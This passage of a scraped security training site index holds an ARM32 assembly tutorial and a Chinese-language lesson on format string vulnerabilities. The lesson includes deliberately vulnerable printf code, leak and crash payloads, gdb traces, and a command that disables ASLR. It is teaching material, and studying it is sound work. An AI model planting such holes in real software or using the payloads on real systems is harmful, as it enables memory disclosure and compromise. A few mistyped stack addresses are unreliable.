Regarding our ARM processor, we follow the standard calling convention meaning params are passed by placing the param values into regs R0 \u2013 R3 before calling the subroutine and the subroutine returns a value by putting it in R0 before returning.
This is important to understand when we think about how execution flows when dealing with a stack operation and the link register which we will discuss in future tutorials.
When you are hacking or reversing a binary, controlling the PC is essential when you want to test for subroutine execution and learning about how the program flows in order to break it down and understand exactly what it is doing.
"},{"location":"Training/Material/ARM32_1/#part-8-cpsr","title":"Part 8 - CPSR","text":"The CPSR register stores info about the program and the results of a particular operation. Bits that are in the respective registers have pre-assigned conditions that are tested for an occurrence which are flags.
There are 32-bits that total this register. The highest 4 we are concerned with most which are:
Bit 31 \u2013 N = Negative Flag
Bit 30 \u2013 Z = Zero Flag
Bit 29 \u2013 C = Carry Flag (UNSIGNED OPERATIONS)
Bit 28 \u2013 V = Overflow flag (SIGNED OPERATIONS)
When the instruction completes the CPSR can get updated if it falls into one of the aforementioned scenarios. If one of the conditions occurs, a 1 goes into the respective bits.
There are two instructions that directly effect the CPSR flags which are CMP and CMN. CMP is compare such as:
CMP R1, R0 @notational subtraction where R1 \u2013 R0 and if the result is 0, bit 30 Z would be set to 1
The most logical command that usually follows is BEQ = branch if equal, meaning the zero flag was set and branches to another label within the code.
Regarding CMP, if two operands are equal then the result is zero. CMN makes the same comparison but with the second operand negated for example:
CMN R1, R0 @ R1 - (-R0) or R1 + R0
When dealing with the SUB command, the result would NOT update the CPSR you would have to use the SUBS command to make any flag update respectively.
"},{"location":"Training/Material/ARM32_1/#part-9-link-register","title":"Part 9 \u2013 Link Register","text":"The Link Register, R14, is used to hold the return address of a function call.
When a BL (branch with link) instruction performs a subroutine call, the link register is set to the subroutine return address. BL jumps to another location in the code and when complete allows a return to the point right after the BL code section. When the subroutine returns, the link register returns the address back to the program counter.
The link register does not require the writes and reads of the memory containing the stack which can save a considerable percentage of execution time with repeated calls of small subroutines.
When BL has executed, the return address which is the address of the next instruction to be executed, is loaded into the LR or R14. When the subroutine has finished, the LR is copied directly to the PC (Program Counter) or R15 and code execution continues where it was prior in the sequential code source.
CODE TIME! Don\u2019t be discouraged if you don\u2019t understand everything in the code example here. It will become clear over the next few lessons.
To compile:
as -o lr_demo.o lr_demo.s\nld -o lr_demo lr_demo.o\n
The simple example I created here is pretty self-explanatory. We start and proceed to the no_return subroutine and proceed to the my_function subroutine then to the wrap_up subroutine and finally exit.
It is necessary that we jump into GDB which is our debugger to see exactly what happens with each step:
As you can see with every step inside the debugger it shows you exactly the progression from no_return to my_function skipping wrap_up until the program counter gets the address from the link register.
Here we see the progression from wrap_up to exit.
This is a fundamental operation when we see next week how the stack operates as the LR is an essential part of this process.
"},{"location":"Training/Material/ARM32_1/#part-10-stack-pointer","title":"Part 10 \u2013 Stack Pointer","text":"The Stack is an abstract data type to which is a LIFO (Last In First Out). When we push a value onto the stack it goes into the Stack Pointer and when it is popped off of the stack it pops the value off of the stack and into a register of your choosing.
CODE TIME! Again, don\u2019t be discouraged if you don\u2019t understand everything in the code example here. It will become clear over the next few lessons.
To compile:
as -o sp_demo.o sp_demo.s\nld -o sp_demo sp_demo.o\n
Once again lets load the binary into GDB to see what is happening.
Lets step into one time.
We see hex 30 or 48 decimal moved into r7. Lets step into again.
We see the value of the sp change from 0x7efff3a0 to 0xefff39c. That is a movement backward 4 bytes. Why the heck is the stack pointer going backward you may ask!
The answer revolves around the fact that the stack grows DOWNWARD. When we say the top of the stack you can imagine a series of plates being placed BENEATH of each other.
Originally the sp was at 0x7efff3a0.
When we pushed r7 onto the stack, the new value of the Stack Pointer is now 0x7efff39c so we can see the Stack truly grows DOWNWARD in memory.
Now lets step into again.
We can see the value of hex 10 or decimal 16 moved into r7. Notice the sp did not change.
Before we step into again, lets look at the value inside the sp.
Lets step into again.
We see the value in the stack was popped off the stack and put back into r7 therefore the value of hex 30 is back in r7 as well as the sp is back at 0x73fff3a0.
Please take the time to type out the code, compile and link it and then step through the binary in GDB. Stack operations are critical to understanding Reverse Engineering and Malware Analysis as well as any debugging of any kind.
"},{"location":"Training/Material/ARM32_1/#part-11-arm-firmware-boot-procedures","title":"Part 11 - ARM Firmware Boot Procedures","text":"Let\u2019s take a moment to talk about what happens when we first power on our Raspberry Pi device.
As soon as the Pi receives power, the graphics processor is the first thing to run as the processor is held in a reset state to which the GPU starts executing code. The ROM reads from the SD card and reads bootcode.bin to which gets loaded into memory in C2 cache and turns on the rest of the RAM to which start.elf then loads.
The start.elf is an OS for the graphics processor and reads config.txt to which you can mod. The kernel.img then gets loaded into 0x8000 in memory which is the Linux kernel.
Once loaded, kernel.img turns on the CPU and starts running at 0x8000 in memory.
If we wanted, we could create our own kernel.img to which we can hard code machine code into a file and replace the original image and then reboot. Keep in mind the ARM word size is 32 bit long which go from bit 0 to 31.
As stated, when kernel.img is loaded the first byte, which is 8-bits, is loaded into address 0x8000.
Lets open up a hex editor and write the following:
FE FF FF EA
Save the file as kernel.img and reboot.
\u201cOk nothing happens, this sucks!\u201d
Actually something did happen, you created your first bare-metal firmware! Time to break out the champagne!
When the Pi boots, the below code when it reached kernel.img loads the following:
FE FF FF EA
@ address 0x8000, 0xfe gets loaded.
@ address 0x8001, 0xff gets loaded.
@ address 0x8002, 0xff gets loaded.
@ address 0x8003, 0xea gets loaded.
\u201cSo what the hell is really going on?\u201d
This set of commands simply executes an infinite loop.
Review the datasheet:
https://www.raspberrypi.org/wp-content/uploads/2012/02/BCM2835-ARM-Peripherals.pdf
The above code has 3 parts to it:
1)Conditional \u2013 Set To Always
2)Op Code \u2013 Branch
3)Offset \u2013 How Far To Move Within The Current Location
Condition \u2013 bits 31-28: 0xe or 1110
Op Code \u2013 bits 27-24: 0xa or 1010
Offset \u2013 bits 23-0 -2
I know this may be a lot to wrap your mind around however it is critical that you take the time and read the datasheet linked above. Do not cut corners if you truly have the passion to understand the above. READ THE DATASHEET!
I will go through painstaking efforts to break everything down step-by-step however there are exercises like the above that I am asking you to review the datasheet above so you learn how to better understand where to look when you are stuck on a particular routine or set of machine code. This is one of those times I ask you to please read and research the datasheet above!
\u201cI\u2019m bored! Why the hell does this crap matter?\u201d
Glad you asked! The single most dangerous malware on planet earth today is that of the root-kit variety. If you do not have a basic understanding of the above, you will never begin to even understand what a root-kit is as you progress in your understanding.
Anyone can simply replace the kernel.img file with their own hacked version and you can have total control over the entire process from boot.
"},{"location":"Training/Material/ARM32_1/#part-12-von-neumann-architecture","title":"Part 12 - Von Neumann Architecture","text":"ARM is a load and store machine to which the Arithmetic Logic Unit only operates on the registers themselves and any data that needs to be stored out to RAM, the control unit moves the data between memory and the registers which share the same data bus.
Program memory and data memory share the same data bus. This is what we call the Von Neumann Architecture.
The CPU chip of this architecture holds a control unit and the arithmetic logic unit (along with some local memory) and the main memory is in the form of RAM sticks located on the motherboard.
A stored-program digital computer is one that keeps its program instructions, as well as its data, in read-write, random-access memory or RAM.
"},{"location":"Training/Material/Binary%20Exploitation/","title":"Binary Exploitation","text":""},{"location":"Training/Material/Binary%20Exploitation/#311","title":"3.1.1 \u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e","text":"\u5728 C \u8bed\u8a00\u57fa\u7840\u7ae0\u8282\u4e2d\uff0c\u6211\u4eec\u8be6\u7ec6\u4ecb\u7ecd\u4e86\u683c\u5f0f\u5316\u8f93\u51fa\u51fd\u6570\u548c\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u7684\u5185\u5bb9\u3002\u5728\u5f00\u59cb\u63a2\u7d22\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u4e4b\u524d\uff0c\u5f3a\u70c8\u5efa\u8bae\u56de\u987e\u8be5\u7ae0\u8282\u3002\u8fd9\u91cc\u6211\u4eec\u7b80\u5355\u56de\u987e\u51e0\u4e2a\u5e38\u7528\u7684\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#_2","title":"\u51fd\u6570","text":"#include <stdio.h>\n\nint printf(const char *format, ...);\nint fprintf(FILE *stream, const char *format, ...);\nint dprintf(int fd, const char *format, ...);\nint sprintf(char *str, const char *format, ...);\nint snprintf(char *str, size_t size, const char *format, ...);\n
"},{"location":"Training/Material/Binary%20Exploitation/#_3","title":"\u8f6c\u6362\u6307\u793a\u7b26","text":"\u5b57\u7b26 \u7c7b\u578b \u4f7f\u7528 d 4-byte Integer u 4-byte Unsigned Integer x 4-byte Hex s 4-byte ptr String c 1-byte Character"},{"location":"Training/Material/Binary%20Exploitation/#_4","title":"\u957f\u5ea6","text":"\u5b57\u7b26 \u7c7b\u578b \u4f7f\u7528 hh 1-byte char h 2-byte short int l 4-byte long int ll 8-byte long long int"},{"location":"Training/Material/Binary%20Exploitation/#_5","title":"\u793a\u4f8b","text":"#include<stdio.h>\n#include<stdlib.h>\nvoid main() {\n char *format = \"%s\";\n char *arg1 = \"Hello World!\\n\";\n printf(format, arg1);\n}\nprintf(\"%03d.%03d.%03d.%03d\", 127, 0, 0, 1); // \"127.000.000.001\"\nprintf(\"%.2f\", 1.2345); // 1.23\nprintf(\"%#010x\", 3735928559); // 0xdeadbeef\n\nprintf(\"%s%n\", \"01234\", &n); // n = 5\n
"},{"location":"Training/Material/Binary%20Exploitation/#_6","title":"\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u57fa\u672c\u539f\u7406","text":"\u5728 x86 \u7ed3\u6784\u4e0b\uff0c\u683c\u5f0f\u5b57\u7b26\u4e32\u7684\u53c2\u6570\u662f\u901a\u8fc7\u6808\u4f20\u9012\u7684\uff0c\u770b\u4e00\u4e2a\u4f8b\u5b50\uff1a
#include<stdio.h>\nvoid main() {\n printf(\"%s %d %s\", \"Hello World!\", 233, \"\\n\");\n}\ngdb-peda$ disassemble main\nDump of assembler code for function main:\n 0x0000053d <+0>: lea ecx,[esp+0x4]\n 0x00000541 <+4>: and esp,0xfffffff0\n 0x00000544 <+7>: push DWORD PTR [ecx-0x4]\n 0x00000547 <+10>: push ebp\n 0x00000548 <+11>: mov ebp,esp\n 0x0000054a <+13>: push ebx\n 0x0000054b <+14>: push ecx\n 0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax>\n 0x00000551 <+20>: add eax,0x1aaf\n 0x00000556 <+25>: lea edx,[eax-0x19f0]\n 0x0000055c <+31>: push edx\n 0x0000055d <+32>: push 0xe9\n 0x00000562 <+37>: lea edx,[eax-0x19ee]\n 0x00000568 <+43>: push edx\n 0x00000569 <+44>: lea edx,[eax-0x19e1]\n 0x0000056f <+50>: push edx\n 0x00000570 <+51>: mov ebx,eax\n 0x00000572 <+53>: call 0x3d0 <printf@plt>\n 0x00000577 <+58>: add esp,0x10\n 0x0000057a <+61>: nop\n 0x0000057b <+62>: lea esp,[ebp-0x8]\n 0x0000057e <+65>: pop ecx\n 0x0000057f <+66>: pop ebx\n 0x00000580 <+67>: pop ebp\n 0x00000581 <+68>: lea esp,[ecx-0x4]\n 0x00000584 <+71>: ret\nEnd of assembler dump.\ngdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0x56557000 --> 0x1efc\nEBX: 0x56557000 --> 0x1efc\nECX: 0xffffd250 --> 0x1\nEDX: 0x5655561f (\"%s %d %s\")\nESI: 0xf7f95000 --> 0x1bbd90\nEDI: 0x0\nEBP: 0xffffd238 --> 0x0\nESP: 0xffffd220 --> 0x5655561f (\"%s %d %s\")\nEIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)\nEFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x56555569 <main+44>: lea edx,[eax-0x19e1]\n 0x5655556f <main+50>: push edx\n 0x56555570 <main+51>: mov ebx,eax\n=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>\n 0x56555577 <main+58>: add esp,0x10\n 0x5655557a <main+61>: nop\n 0x5655557b <main+62>: lea esp,[ebp-0x8]\n 0x5655557e <main+65>: pop ecx\nGuessed arguments:\narg[0]: 0x5655561f (\"%s %d %s\")\narg[1]: 0x56555612 (\"Hello World!\")\narg[2]: 0xe9\narg[3]: 0x56555610 --> 0x6548000a ('\\n')\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd220 --> 0x5655561f (\"%s %d %s\")\n0004| 0xffffd224 --> 0x56555612 (\"Hello World!\")\n0008| 0xffffd228 --> 0xe9\n0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\\n')\n0016| 0xffffd230 --> 0xffffd250 --> 0x1\n0020| 0xffffd234 --> 0x0\n0024| 0xffffd238 --> 0x0\n0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x56555572 in main ()\ngdb-peda$ r\nContinuing\nHello World! 233\n[Inferior 1 (process 27416) exited with code 022]\n
\u6839\u636e cdecl \u7684\u8c03\u7528\u7ea6\u5b9a\uff0c\u5728\u8fdb\u5165 printf()
\u51fd\u6570\u4e4b\u524d\uff0c\u5c06\u53c2\u6570\u4ece\u53f3\u5230\u5de6\u4f9d\u6b21\u538b\u6808\u3002\u8fdb\u5165 printf()
\u4e4b\u540e\uff0c\u51fd\u6570\u9996\u5148\u83b7\u53d6\u7b2c\u4e00\u4e2a\u53c2\u6570\uff0c\u4e00\u6b21\u8bfb\u53d6\u4e00\u4e2a\u5b57\u7b26\u3002\u5982\u679c\u5b57\u7b26\u4e0d\u662f %
\uff0c\u5b57\u7b26\u76f4\u63a5\u590d\u5236\u5230\u8f93\u51fa\u4e2d\u3002\u5426\u5219\uff0c\u8bfb\u53d6\u4e0b\u4e00\u4e2a\u975e\u7a7a\u5b57\u7b26\uff0c\u83b7\u53d6\u76f8\u5e94\u7684\u53c2\u6570\u5e76\u89e3\u6790\u8f93\u51fa\u3002\uff08\u6ce8\u610f\uff1a% d
\u548c %d
\u662f\u4e00\u6837\u7684\uff09
\u63a5\u4e0b\u6765\u6211\u4eec\u4fee\u6539\u4e00\u4e0b\u4e0a\u9762\u7684\u7a0b\u5e8f\uff0c\u7ed9\u683c\u5f0f\u5b57\u7b26\u4e32\u52a0\u4e0a %x %x %x %3$s
\uff0c\u4f7f\u5b83\u51fa\u73b0\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff1a
#include<stdio.h>\nvoid main() {\n printf(\"%s %d %s %x %x %x %3$s\", \"Hello World!\", 233, \"\\n\");\n}\n
\u53cd\u6c47\u7f16\u540e\u7684\u4ee3\u7801\u540c\u4e0a\uff0c\u6ca1\u6709\u4efb\u4f55\u533a\u522b\u3002\u6211\u4eec\u4e3b\u8981\u770b\u4e00\u4e0b\u53c2\u6570\u4f20\u9012\uff1a
gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0x56557000 --> 0x1efc\nEBX: 0x56557000 --> 0x1efc\nECX: 0xffffd250 --> 0x1\nEDX: 0x5655561f (\"%s %d %s %x %x %x %3$s\")\nESI: 0xf7f95000 --> 0x1bbd90\nEDI: 0x0\nEBP: 0xffffd238 --> 0x0\nESP: 0xffffd220 --> 0x5655561f (\"%s %d %s %x %x %x %3$s\")\nEIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)\nEFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x56555569 <main+44>: lea edx,[eax-0x19e1]\n 0x5655556f <main+50>: push edx\n 0x56555570 <main+51>: mov ebx,eax\n=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>\n 0x56555577 <main+58>: add esp,0x10\n 0x5655557a <main+61>: nop\n 0x5655557b <main+62>: lea esp,[ebp-0x8]\n 0x5655557e <main+65>: pop ecx\nGuessed arguments:\narg[0]: 0x5655561f (\"%s %d %s %x %x %x %3$s\")\narg[1]: 0x56555612 (\"Hello World!\")\narg[2]: 0xe9\narg[3]: 0x56555610 --> 0x6548000a ('\\n')\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd220 --> 0x5655561f (\"%s %d %s %x %x %x %3$s\")\n0004| 0xffffd224 --> 0x56555612 (\"Hello World!\")\n0008| 0xffffd228 --> 0xe9\n0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\\n')\n0016| 0xffffd230 --> 0xffffd250 --> 0x1\n0020| 0xffffd234 --> 0x0\n0024| 0xffffd238 --> 0x0\n0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x56555572 in main ()\ngdb-peda$ c\nContinuing.\nHello World! 233\n ffffd250 0 0\n[Inferior 1 (process 27480) exited with code 041]\n
\u8fd9\u4e00\u6b21\u6808\u7684\u7ed3\u6784\u548c\u4e0a\u4e00\u6b21\u76f8\u540c\uff0c\u53ea\u662f\u683c\u5f0f\u5b57\u7b26\u4e32\u6709\u53d8\u5316\u3002\u7a0b\u5e8f\u6253\u5370\u51fa\u4e86\u4e03\u4e2a\u503c\uff08\u5305\u62ec\u6362\u884c\uff09\uff0c\u800c\u6211\u4eec\u5176\u5b9e\u53ea\u7ed9\u51fa\u4e86\u524d\u4e09\u4e2a\u503c\u7684\u5185\u5bb9\uff0c\u540e\u9762\u7684\u4e09\u4e2a %x
\u6253\u5370\u51fa\u4e86 0xffffd230~0xffffd238
\u6808\u5185\u7684\u6570\u636e\uff0c\u8fd9\u4e9b\u90fd\u4e0d\u662f\u6211\u4eec\u8f93\u5165\u7684\u3002\u800c\u6700\u540e\u4e00\u4e2a\u53c2\u6570 %3$s
\u662f\u5bf9 0xffffd22c
\u4e2d \\n
\u7684\u91cd\u7528\u3002
\u4e0a\u4e00\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u683c\u5f0f\u5b57\u7b26\u4e32\u4e2d\u8981\u6c42\u7684\u53c2\u6570\u4e2a\u6570\u5927\u4e8e\u6211\u4eec\u63d0\u4f9b\u7684\u53c2\u6570\u4e2a\u6570\u3002\u5728\u4e0b\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c\u6211\u4eec\u7701\u53bb\u4e86\u683c\u5f0f\u5b57\u7b26\u4e32\uff0c\u540c\u6837\u5b58\u5728\u6f0f\u6d1e\uff1a
#include<stdio.h>\nvoid main() {\n char buf[50];\n if (fgets(buf, sizeof buf, stdin) == NULL)\n return;\n printf(buf);\n}\ngdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd1fa (\"Hello %x %x %x !\\n\")\nEBX: 0x56557000 --> 0x1ef8\nECX: 0xffffd1fa (\"Hello %x %x %x !\\n\")\nEDX: 0xf7f9685c --> 0x0\nESI: 0xf7f95000 --> 0x1bbd90\nEDI: 0x0\nEBP: 0xffffd238 --> 0x0\nESP: 0xffffd1e0 --> 0xffffd1fa (\"Hello %x %x %x !\\n\")\nEIP: 0x5655562a (<main+77>: call 0x56555450 <printf@plt>)\nEFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x56555623 <main+70>: sub esp,0xc\n 0x56555626 <main+73>: lea eax,[ebp-0x3e]\n 0x56555629 <main+76>: push eax\n=> 0x5655562a <main+77>: call 0x56555450 <printf@plt>\n 0x5655562f <main+82>: add esp,0x10\n 0x56555632 <main+85>: jmp 0x56555635 <main+88>\n 0x56555634 <main+87>: nop\n 0x56555635 <main+88>: mov eax,DWORD PTR [ebp-0xc]\nGuessed arguments:\narg[0]: 0xffffd1fa (\"Hello %x %x %x !\\n\")\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd1e0 --> 0xffffd1fa (\"Hello %x %x %x !\\n\")\n0004| 0xffffd1e4 --> 0x32 ('2')\n0008| 0xffffd1e8 --> 0xf7f95580 --> 0xfbad2288\n0012| 0xffffd1ec --> 0x565555f4 (<main+23>: add ebx,0x1a0c)\n0016| 0xffffd1f0 --> 0xffffffff\n0020| 0xffffd1f4 --> 0xffffd47a (\"/home/firmy/Desktop/RE4B/c.out\")\n0024| 0xffffd1f8 --> 0x65485ea0\n0028| 0xffffd1fc (\"llo %x %x %x !\\n\")\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x5655562a in main ()\ngdb-peda$ c\nContinuing.\nHello 32 f7f95580 565555f4 !\n[Inferior 1 (process 28253) exited normally]\n
\u5982\u679c\u5927\u5bb6\u90fd\u662f\u597d\u5b69\u5b50\uff0c\u8f93\u5165\u6b63\u5e38\u7684\u5b57\u7b26\uff0c\u7a0b\u5e8f\u5c31\u4e0d\u4f1a\u6709\u95ee\u9898\u3002\u7531\u4e8e\u6ca1\u6709\u683c\u5f0f\u5b57\u7b26\u4e32\uff0c\u5982\u679c\u6211\u4eec\u5728 buf
\u4e2d\u8f93\u5165\u4e00\u4e9b\u8f6c\u6362\u6307\u793a\u7b26\uff0c\u5219 printf()
\u4f1a\u628a\u5b83\u5f53\u505a\u683c\u5f0f\u5b57\u7b26\u4e32\u5e76\u89e3\u6790\uff0c\u6f0f\u6d1e\u53d1\u751f\u3002\u4f8b\u5982\u4e0a\u9762\u6f14\u793a\u7684\u6211\u4eec\u8f93\u5165\u4e86 Hello %x %x %x !\\n
\uff08\u5176\u4e2d \\n
\u662f fgets()
\u51fd\u6570\u7ed9\u6211\u4eec\u81ea\u52a8\u52a0\u4e0a\u7684\uff09\uff0c\u8fd9\u65f6\uff0c\u7a0b\u5e8f\u5c31\u4f1a\u8f93\u51fa\u6808\u5185\u7684\u6570\u636e\u3002
\u6211\u4eec\u53ef\u4ee5\u603b\u7ed3\u51fa\uff0c\u5176\u5b9e\u683c\u5f0f\u5b57\u7b26\u4e32\u6f0f\u6d1e\u53d1\u751f\u7684\u6761\u4ef6\u5c31\u662f\u683c\u5f0f\u5b57\u7b26\u4e32\u8981\u6c42\u7684\u53c2\u6570\u548c\u5b9e\u9645\u63d0\u4f9b\u7684\u53c2\u6570\u4e0d\u5339\u914d\u3002\u4e0b\u9762\u6211\u4eec\u8ba8\u8bba\u4e24\u4e2a\u95ee\u9898\uff1a
\u4e3a\u4ec0\u4e48\u53ef\u4ee5\u901a\u8fc7\u7f16\u8bd1\uff1f
\u56e0\u4e3a printf()
\u51fd\u6570\u7684\u53c2\u6570\u88ab\u5b9a\u4e49\u4e3a\u53ef\u53d8\u7684\u3002
printf()
\u662f\u600e\u4e48\u5de5\u4f5c\u7684\u548c\u683c\u5f0f\u5b57\u7b26\u4e32\u662f\u4ec0\u4e48\u3002\u7136\u800c\uff0c\u7f16\u8bd1\u5668\u5e76\u4e0d\u77e5\u9053\u8fd9\u4e9b\u3002\u6709\u65f6\u683c\u5f0f\u5b57\u7b26\u4e32\u5e76\u4e0d\u662f\u56fa\u5b9a\u7684\uff0c\u5b83\u53ef\u80fd\u5728\u7a0b\u5e8f\u6267\u884c\u4e2d\u52a8\u6001\u751f\u6210\u3002
printf()
\u51fd\u6570\u81ea\u5df1\u53ef\u4ee5\u53d1\u73b0\u4e0d\u5339\u914d\u5417\uff1f
printf()
\u51fd\u6570\u4ece\u6808\u4e2d\u53d6\u51fa\u53c2\u6570\uff0c\u5982\u679c\u5b83\u9700\u8981 3 \u4e2a\uff0c\u90a3\u5b83\u5c31\u53d6\u51fa 3 \u4e2a\u3002\u9664\u975e\u6808\u7684\u8fb9\u754c\u88ab\u6807\u8bb0\u4e86\uff0c\u5426\u5219 printf()
\u662f\u4e0d\u4f1a\u77e5\u9053\u5b83\u53d6\u51fa\u7684\u53c2\u6570\u6bd4\u63d0\u4f9b\u7ed9\u5b83\u7684\u53c2\u6570\u591a\u4e86\u3002\u7136\u800c\u5e76\u6ca1\u6709\u8fd9\u6837\u7684\u6807\u8bb0\u3002\u901a\u8fc7\u63d0\u4f9b\u683c\u5f0f\u5b57\u7b26\u4e32\uff0c\u6211\u4eec\u5c31\u80fd\u591f\u63a7\u5236\u683c\u5f0f\u5316\u51fd\u6570\u7684\u884c\u4e3a\u3002\u6f0f\u6d1e\u7684\u5229\u7528\u4e3b\u8981\u6709\u4e0b\u9762\u51e0\u79cd\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#_8","title":"\u4f7f\u7a0b\u5e8f\u5d29\u6e83","text":"\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u901a\u5e38\u8981\u5728\u7a0b\u5e8f\u5d29\u6e83\u65f6\u624d\u4f1a\u88ab\u53d1\u73b0\uff0c\u6240\u4ee5\u5229\u7528\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u6700\u7b80\u5355\u7684\u65b9\u5f0f\u5c31\u662f\u4f7f\u8fdb\u7a0b\u5d29\u6e83\u3002\u5728 Linux \u4e2d\uff0c\u5b58\u53d6\u65e0\u6548\u7684\u6307\u9488\u4f1a\u5f15\u8d77\u8fdb\u7a0b\u6536\u5230 SIGSEGV
\u4fe1\u53f7\uff0c\u4ece\u800c\u4f7f\u7a0b\u5e8f\u975e\u6b63\u5e38\u7ec8\u6b62\u5e76\u4ea7\u751f\u6838\u5fc3\u8f6c\u50a8\uff08\u5728 Linux \u57fa\u7840\u7684\u7ae0\u8282\u4e2d\u8be6\u7ec6\u4ecb\u7ecd\u4e86\u6838\u5fc3\u8f6c\u50a8\uff09\u3002\u6211\u4eec\u77e5\u9053\u6838\u5fc3\u8f6c\u50a8\u4e2d\u5b58\u50a8\u4e86\u7a0b\u5e8f\u5d29\u6e83\u65f6\u7684\u8bb8\u591a\u91cd\u8981\u4fe1\u606f\uff0c\u8fd9\u4e9b\u4fe1\u606f\u6b63\u662f\u653b\u51fb\u8005\u6240\u9700\u8981\u7684\u3002
\u5229\u7528\u7c7b\u4f3c\u4e0b\u9762\u7684\u683c\u5f0f\u5b57\u7b26\u4e32\u5373\u53ef\u89e6\u53d1\u6f0f\u6d1e\uff1a
printf(\"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\")\n
%s
\uff0cprintf()
\u90fd\u8981\u4ece\u6808\u4e2d\u83b7\u53d6\u4e00\u4e2a\u6570\u5b57\uff0c\u628a\u8be5\u6570\u5b57\u89c6\u4e3a\u4e00\u4e2a\u5730\u5740\uff0c\u7136\u540e\u6253\u5370\u51fa\u5730\u5740\u6307\u5411\u7684\u5185\u5b58\u5185\u5bb9\uff0c\u76f4\u5230\u51fa\u73b0\u4e00\u4e2a NULL \u5b57\u7b26\u3002\u4f7f\u7a0b\u5e8f\u5d29\u6e83\u53ea\u662f\u9a8c\u8bc1\u6f0f\u6d1e\u7684\u7b2c\u4e00\u6b65\uff0c\u653b\u51fb\u8005\u8fd8\u53ef\u4ee5\u5229\u7528\u683c\u5f0f\u5316\u8f93\u51fa\u51fd\u6570\u6765\u83b7\u5f97\u5185\u5b58\u7684\u5185\u5bb9\uff0c\u4e3a\u4e0b\u4e00\u6b65\u6f0f\u6d1e\u5229\u7528\u505a\u51c6\u5907\u3002\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u4e86\uff0c\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u51fd\u6570\u4f1a\u6839\u636e\u683c\u5f0f\u5b57\u7b26\u4e32\u4ece\u6808\u4e0a\u53d6\u503c\u3002\u7531\u4e8e\u5728 x86 \u4e0a\u6808\u7531\u9ad8\u5730\u5740\u5411\u4f4e\u5730\u5740\u589e\u957f\uff0c\u800c printf()
\u51fd\u6570\u7684\u53c2\u6570\u662f\u4ee5\u9006\u5e8f\u88ab\u538b\u5165\u6808\u7684\uff0c\u6240\u4ee5\u53c2\u6570\u5728\u5185\u5b58\u4e2d\u51fa\u73b0\u7684\u987a\u5e8f\u4e0e\u5728 printf()
\u8c03\u7528\u65f6\u51fa\u73b0\u7684\u987a\u5e8f\u662f\u4e00\u81f4\u7684\u3002
\u4e0b\u9762\u7684\u6f14\u793a\u6211\u4eec\u90fd\u4f7f\u7528\u4e0b\u9762\u7684\u6e90\u7801\uff1a
#include<stdio.h>\nvoid main() {\n char format[128];\n int arg1 = 1, arg2 = 0x88888888, arg3 = -1;\n char arg4[10] = \"ABCD\";\n scanf(\"%s\", format);\n printf(format, arg1, arg2, arg3, arg4);\n printf(\"\\n\");\n}\n# echo 0 > /proc/sys/kernel/randomize_va_space\n$ gcc -m32 -fno-stack-protector -no-pie fmt.c\n
\u6211\u4eec\u5148\u8f93\u5165 b main
\u8bbe\u7f6e\u65ad\u70b9\uff0c\u4f7f\u7528 n
\u5f80\u4e0b\u6267\u884c\uff0c\u5728 call 0x56555460 <__isoc99_scanf@plt>
\u5904\u8f93\u5165 %08x.%08x.%08x.%08x.%08x
\uff0c\u7136\u540e\u4f7f\u7528 c
\u7ee7\u7eed\u6267\u884c\uff0c\u5373\u53ef\u8f93\u51fa\u7ed3\u679c\u3002
